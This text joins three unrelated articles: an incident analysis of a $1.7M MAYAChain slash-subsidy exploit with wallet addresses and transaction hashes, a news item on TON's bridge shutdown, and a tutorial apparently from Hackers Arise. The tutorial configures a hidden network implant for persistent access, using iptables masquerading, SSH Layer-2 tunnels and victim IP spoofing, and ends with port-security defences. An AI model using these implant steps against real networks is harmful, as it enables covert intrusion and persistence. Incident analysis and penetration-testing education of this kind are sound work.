On August 18, 2026, an attacker chained six bugs in MAYAChain’s trade account and outbound-handling logic to drain the Asgard reserve. No key was stolen, and this wasn’t a flash-loan drain: a single batched deposit triggered a false theft alert, and an uncapped slash subsidy turned that into 48.87M forged CACAO in one thin pool. The attacker cashed out through it, extracting roughly $1.7M.

Protocol Background

MAYAChain settles cross-chain swaps through its Asgard vaults, with every observed transaction tracked against a shared ObservedTxVoter record. A single MsgDeposit can batch multiple actions together, including trade-account swaps and a DONATE action, all reported against that same voter. When an outbound transaction appears to go missing, the chain treats it as theft and slashes a subsidy into the affected pool to make it whole, a safety mechanism this exploit turned into the attack itself.

Hack Analysis

MAYAChain’s protection against a receipt being processed twice lives in a shared ObservedTxVoter record, one per native transaction ID. Inside the handler for a batched MsgDeposit, every message in the batch creates its own fresh voter and overwrites whatever was there before via SetObservedTxInVoter(). A transaction with enough messages can let its last message quietly erase what every earlier message had recorded.

The attacker used exactly that. A single MsgDeposit carrying 23 messages ran 20 trade-account swaps into ARB.ETH, two more into ARB.LINK, and closed with a one-unit DONATE:ARB.LINK message. That final message overwrote the voter the earlier trade withdrawals had set, resetting OutboundHeight to 0 and marking the whole transaction done.

Check here in rwa data: 516BA14D6976EC7B8A3087E1C52B195433EF0F9D85F4B9520675BC4FEB99E9B7

With OutboundHeight zeroed, the outbound matcher fell back to FinalisedHeight and scanned forward in fixed increments, but it never checked the one block where the LINK outbounds had actually landed. Finding no record there, the chain concluded the outbound had gone missing and triggered its theft-detection slash.

That slash path converts the supposedly stolen amount into CACAO at the pool’s own exchange rate, with nothing capping the result against how much asset the pool actually holds. The ARB.LINK pool had only about 0.11 LINK in it, so running the stolen amount through that rate produced a number completely detached from reality: roughly 49.45 million CACAO, booked straight into the pool.

The code writes that inflated pool balance to state before it actually tries to fund it from the reserve. The reserve only held about 168,000 CACAO, so the funding transfer failed, but the pool’s new balance had already been saved. The handler that caught the failure just logged it and marked the transaction done anyway, with no rollback, leaving the inflated pool sitting in state as if it were real.

With a pool now showing tens of millions of CACAO against almost no LINK, the attacker added a small amount of liquidity to it. The pool-unit math treated the deposit as founding a fresh pool, handing over 99.93% ownership, and an immediate withdrawal at 9,900 basis points paid out 48.87 million CACAO from the Asgard module. The attacker moved straight into swapping it for BTC, ETH, RUNE, and stablecoins across every Maya pool.

Root Cause

It was six separate weaknesses lining up in one transaction. The root failure is that a shared observed-transaction voter could be silently overwritten by a later message in the same batched deposit, and everything downstream, theft detection, the slash subsidy, and the funding transfer, trusted that voter’s state without re-checking or bounding it against reality.

Once the final DONATE message reset the voter, the outbound matcher's fallback logic never checked the right block, the slash subsidy calculation never capped itself against the pool's real balance, and the code that wrote the inflated pool to state ran before the code meant to fund it, with the resulting failure just logged and swallowed instead of rolled back. Any one of those checks alone would have stopped the drain, bind the voter to something a later message can't clobber, cap the subsidy to what the pool can actually hold, or roll back state when a downstream transfer fails.

How QuillAudits Infrastructure Review Could Have Prevented This

Voter integrity across batched messages. Any check whose entire security model rests on a shared record needs a guarantee that record can’t be overwritten by an unrelated message later in the same batch. A review tracing every writer of ObservedTxVoter would have caught SetObservedTxInVoter clobbering per-message state in handler_deposit.go.

Bound every subsidy calculation to the pool’s actual balance. The AssetValueInRune call behind the slash subsidy had no ceiling tied to pool.BalanceAsset, so a thin pool could be told it held tens of millions of CACAO it never had. Any function that credits a balance from a computed value needs an explicit sanity cap against the resource it's crediting.

Never commit state ahead of the transfer meant to back it. SetPool ran before SendFromModuleToModule in helpers.go, so when the transfer failed, the inflated state had already been saved. Persisted state should follow a successful funding transfer, not precede it, and a failed downstream call should roll back what came before it rather than just log and continue.

Funds Flow After Attack

The attacker immediately began swapping the drained CACAO into BTC, ETH, RUNE, and stablecoins across every Maya pool.

20.82 BTC, worth about $1,343,367, moved to bc1q0hsgwunccczelq05ucpmfz268eyy5jr2y5l646. As of now they are still in attacker wallet

Meanwhile on ethereum attacker has deposited some eth in tornado cash.

Post-Attack Mitigation

Maya founder posts an initial public message calling it sad news and saying it will work to fix the issue and recover in full.

Maya confirms the exploit to its community, roughly 20 BTC and $300k in other assets, says it has done a global halt to contain the damage, and shares the attacker’s Bitcoin address in case they’re open to a bug bounty.

Maya commits $200,000 of the team’s own funds into the pools as a first step in the recovery process.

Maya says it will accelerate the launch of its Aztec Chain platform and direct a share of the funds it raises back into the pools to help recover from the exploit.

Maya sends the attacker a message through a Bitcoin OP_RETURN transaction, asking them to return the funds and offering a bug bounty in exchange.

Relevant Addresses and Transactions

Attacker Wallet

• Maya trade-account attacker, executed the exploit transaction, still holds 8,874,269.11 CACAO: maya1dl3yrfpedyr5jfr0r86s2apjltnjqgszmwsv8x
• bc1q0hsgwunccczelq05ucpmfz268eyy5jr2y5l646
• 0xa2f246f82995CBcCA8eD0d9F251383881A5E423e

Affected Pool

• ARB.LINK: 0XF97F4DF75117A78C1A5A0DBB814AF92458539FB4

Key Transactions

• Exploit transaction: 516BA14D6976EC7B8A3087E1C52B195433EF0F9D85F4B9520675BC4FEB99E9B7
• Add & Remove Liquidity Tx: 888AF3EBE9A9A0DBA0F64FE4FD77793E69872466691387A786C9FE19E2693519
• Bug Bounty Offer: aa209b30d84cd63474ba873cfb1c72e5da8e7765b818a0750842e870c1d5b367

Conclusion

No key was stolen, and no single bug did this on its own. A shared voter that a later message could silently overwrite was trusted by every check downstream of it, theft detection, the slash subsidy, and the transfer that was supposed to back it, and none of them verified what the others had already gotten wrong. A pool with barely any liquidity ended up crediting tens of millions of CACAO to itself, and the attacker just had to show up and withdraw it. Six checks failed in sequence; one working boundary anywhere in that chain would have stopped it.

Original Posted at QuillAuidts

MAYAChain $1.7M Slash Subsidy Pool Inflation Exploit (Explained) was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

The TON Foundation has confirmed that its legacy bridge will be permanently decommissioned on September 1, setting a deadline for users holding wrapped TON and related bridge assets to move back to native forms.

The shutdown affects bridge-v3.ton.org, according to TON materials. Users holding Wrapped TON as an ERC-20 token on Ethereum or BNB Chain, or j-tokens such as jUSDT on TON, need to bridge assets back before the deadline to avoid losing access.

This is a planned infrastructure transition.

It should not be described as an exploit, emergency shutdown, or security failure unless official sources say otherwise.

TL;DR

• TON’s legacy bridge will be decommissioned on September 1.
• Wrapped TON and j-token users need to bridge assets back before the deadline.
• The shutdown is planned and should not be framed as a hack.

Why Bridge Shutdowns Matter

Bridges are one of the most sensitive pieces of crypto infrastructure.

They connect assets across chains, but they also create operational risk. If a bridge is deprecated or shut down, users need clear instructions and enough time to move funds.

A missed deadline can be costly.

Tokens that depend on a bridge may become hard to redeem or move if users do not act before decommissioning. That is why bridge shutdown notices matter even when nothing has been hacked.

They are practical user-risk events.

Wrapped Assets Need Special Attention

Wrapped TON on Ethereum or BNB Chain is not the same as native TON.

A wrapped token usually depends on bridge infrastructure that locks or accounts for the native asset while issuing a representation on another chain. If that bridge is being retired, users need to unwind the wrapped position through the proper route.

The same logic applies to j-tokens on TON.

Users should follow official instructions, use the correct bridge interface, and avoid unofficial links or phishing attempts. Bridge transition periods often attract scammers because users are already expecting to move assets.

Planned Does Not Mean Unimportant

A planned shutdown can still create risk.

The risk is not necessarily technical failure. It is user coordination. Some holders may not see the announcement. Some may wait too long. Some may use the wrong interface. Some may misunderstand which assets are affected.

That is why the September 1 deadline is important.

TON’s ecosystem needs users to act before the legacy infrastructure is retired.

Why Networks Retire Bridges

Protocols may shut down old bridges for many reasons.

A bridge may be replaced by newer infrastructure, become expensive to maintain, no longer fit the ecosystem roadmap, or carry legacy risk the foundation no longer wants to support. Retiring old infrastructure can be healthy if the process is communicated clearly.

The key is migration.

Users need enough time and simple instructions to move assets safely.

What Comes Next

The next milestone is the September 1 deadline.

Until then, wrapped TON and j-token holders should confirm whether they are affected and use official TON channels to bridge assets back. After the deadline, access may become limited or impossible through the legacy route.

For TON, the shutdown is part of infrastructure cleanup.

For users, it is a deadline that should not be ignored.

This article is based on TON Foundation materials regarding the legacy bridge decommissioning.

This article was written by the News Desk and edited by Samuel Rae.

This report is based on information released in disclosures at primary source documentation.

Welcome back, aspiring cyberwarriors! 

Today we complete our short series on building a small persistence device. After covering how to build it in Part 1, we will now focus on its deployment and how to achieve persistence using the device we created. We will also discuss practical measures to protect your environment from attacks like this.

Persistence

An attacker finds an unattended computer and discreetly connects their device to it.

The computer in the image above will not lose network access and will not even detect the intermediate node. The Rock Pi will transparently forward the victim’s traffic while simultaneously giving the attacker network access both toward the victim’s computer and toward the local network.

The hardware implant can be connected anywhere (from a regular computer or printer to a server room). It all depends on where the attacker managed to gain access. Its small size allows the hardware backdoor to be hidden even inside another device.

The hardware implant can even be placed inside an IP phone located in a meeting room. Such rooms are often temporarily unoccupied, which an attacker can take advantage of.  The device configuration also allows it to be used not only in a “man-in-the-middle” setup. It can simply be plugged into any available Ethernet port to maintain remote access.

Next, using all available access channels (VPN, DNS, Wi-Fi, 4G), the attacker can remotely access the device and, from there, gain access to the network. To develop further attacks, the attacker does not need to deploy all hacking tools on the device every time. The implant can act merely as a gateway, simply forwarding packets from the attacker into the network.

L3 Access

Now it is time to look at how such a device can be configured in gateway mode, providing simple Layer 3 (L3) access to the target network. Only two components are required.

The first is packet forwarding. When this kernel option is enabled, network packets can pass from one interface (VPN) to another (Ethernet) according to routing rules:

/etc/sysctl.conf

net.ipv4.ip_forward=1

The second is SNAT, which modifies the source IP address for packets that change network interfaces, in this case from VPN to Ethernet:

Pi > iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
Pi > iptables-save | sudo tee /etc/iptables.up.rules

/etc/network/if-pre-up.d/iptables

#!/bin/bash
/sbin/iptables-restore < /etc/iptables.up.rules

This gives the hacker simple and convenient access to the network where the implant is placed. On the attacker’s side, all that is required is to add a route through Packet Squirrel:

kali > route add -net 10.0.0.0/8 gw packet_squirrel
kali > ping 10.10.10.10

The attacker’s phone, which is not directly connected to the victim’s laptop, is connected to the same VPN network as the Packet Squirrel. A route is configured on the phone with Packet Squirrel as the gateway, after which the attacker gains direct network access to the internal network. This is convenient for the attacker and can be used both for stealthy access and for further attack development. However, this is only L3 access (the network layer of the OSI model), which does not provide full attack capabilities, since the attacker is not actually inside the network but uses Packet Squirrel as a gateway.

To be fully present within the network segment and to use the full arsenal of Ethernet-based attacks (from ARP to NetBIOS spoofing), the attacker needs Layer 2 (L2) access.

L2 Access

To obtain full L2 access to the network segment where the implant is located, the attacker must create an additional tunnel. The simplest way to do this is via SSH:

/etc/ssh/sshd_config

PermitRootLogin yes
PermitTunnel ethernet

Since the device’s Ethernet interfaces are already connected in a bridge (br0), the attacker only needs to add a new L2 interface from SSH into this bridge:

kali > sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any
Pi > brctl addif br0 tap1
Pi > ifconfig tap1 up

The network bridge will copy every network packet from the Ethernet interfaces into this virtual interface. On the attacker’s side, a new L2 interface will also appear, receiving all packets available to the Packet Squirrel and acting as an L2 portal into the internal network segment:

kali > sudo ifconfig tap1 up
kali > sudo dhclient tap1

Now, being directly inside the network segment via Packet Squirrel, the attacker can obtain an internal IP address via DHCP. For greater stealth, they may even use the victim’s IP address:

Pi > sudo ifconfig br0 0
kali > sudo ifconfig tap1 $victim_ip/24

A small device hidden somewhere deep within a corporate network, behind a workstation, a hallway printer, an IP phone in a meeting room, or even buried in server room cabling can covertly interact with internal network nodes on behalf of the victim (using their MAC and IP address). Meanwhile, the attacker can be physically located far away.

Such a device can also be used for remote internal penetration testing, where the client simply plugs the device into the required network segment. No further action is needed. There is no need to coordinate access approvals, travel to the site, or deal with inconvenient VPN connections.

How to Defend

Using Port Security alone can prevent an attacker from accessing an unused network port, since they will not know the required MAC address. If 802.1X is also implemented, the attacker will not be able to insert a device in the middle. When connecting a Packet Squirrel, even briefly, the network link must be interrupted, which would require re-authentication.

Another defensive measure is strict physical control over Ethernet ports and devices within the enterprise network.

Summary

We showed you how a small, hidden hardware implant can give an attacker persistent and stealthy access to an internal network. By acting as a transparent bridge or gateway, the device allows remote entry without disrupting normal operations. With L3 access, the attacker gains basic connectivity, while L2 access places them fully inside the network, enabling more advanced attacks and even impersonation of legitimate devices. Physical access, even briefly, can translate into long-term compromise. That’s why strong network authentication and strict control over physical ports are critical for defense.

If you like what we’re doing here and want to advance your cybersecurity skills, check out our Cyberwarrior Path training. It’s a three-year program built around a two-tier learning curriculum. During the first 18 months, you’ll get access to a rich library of beginner to intermediate-level courses, giving you the knowledge and practical skills you need to build a strong foundation and progress with confidence.

The post Persistence: Building a Small Ethernet Persistence Device, Part 2 first appeared on Hackers Arise.